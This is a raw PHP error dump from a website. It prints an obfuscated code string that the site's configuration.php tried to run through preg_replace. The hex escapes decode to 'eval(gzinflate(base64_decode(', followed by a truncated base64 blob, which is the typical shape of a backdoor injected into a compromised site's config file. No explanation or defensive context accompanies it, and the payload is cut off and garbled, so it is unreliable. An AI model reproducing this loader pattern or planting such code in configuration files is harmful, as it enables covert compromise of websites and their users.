Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING in /home/gwync/domains/dungtrin.net/public_html/media/configuration.php(7) : regexp code on line 1

Fatal error: preg_replace() [<a href='function.preg-replace'>function.preg-replace</a>]: Failed evaluating code: x65x76x61x6Cx28x67x7Ax69x6Ex66x6Cx61x74x65x28x62x61x73x65x36x34x5Fx64x65x63x6Fx64x65x28'5b1pdxrHEjD82fec+x9aE24GYoQA2bkOEli2LNlybMnR4lV+yAADTDQwZGYQkh3996eqepnuWRCyk/uc97xyIkF3dXX1Xl1dizcsr7mTWXxdLnVP9o7f7h1/sl+cnr7pnsG37pPne4en9udKhX39978Y/JTmkRs+GbnTOGJt5oShc122ngfByHetKrNO/Hk4ww+vTw6fBjF+8pyuE/bH3qUb4tcPznTgXuGnY2fS8yGxssVRe8PyLHRH3YkT98dle8NmNeZNZn4wcMv2X3ZVr7sCefaGh4mrUI0/Y9cZuGGZwDYatTp7UH/ADoOY7Qfz6cCWVOCPe+XF4uvNv/8F//37XzuRG0VeMO1GsRPGZYTe8aZeN3Ljsu2GYRB2/WBkVw/PXr0yMyG5SwCRXa2bWRPnquteuf15jJhjb+JKEMim713fm3hxOUmcOCOv3/1zHsRu1A3nUwQS2QN36E2hq96dHHWhQ04Ojg6hf+xm7QE17t//gg4epVGMZv0y76d7w/m0j4QwQBDFoTeLfCcau1G5RMPMge6FbjwPp8yLunzwZeZjPhkA+4xI0DHgMAmwFstDDeTdg26+V+q+OTo5hYmVIYEyEI5GQ5G6iIJXwcibljl1A88tW9swi5jje6Npuw9zxQ0728MgnLCJG4+DQXsWRHHnjRNFiyActNi2N53NYxZfz9z2TKSyqTPh3zp6djTvwWCwS8efu22707E72xuIGf5AlR1LkQcdveZFOMQ4O09wJD5NBg/TK+wFNAlmKcxTIB3KMLEOnXk87mLtFfbXX6zMJCrsgk82ZkAp9uOPrMyRmuntNtMxwD8ctpUIgY6 in /home/gwync/domains/dungtrin.net/public_html/media/configuration.php on line 7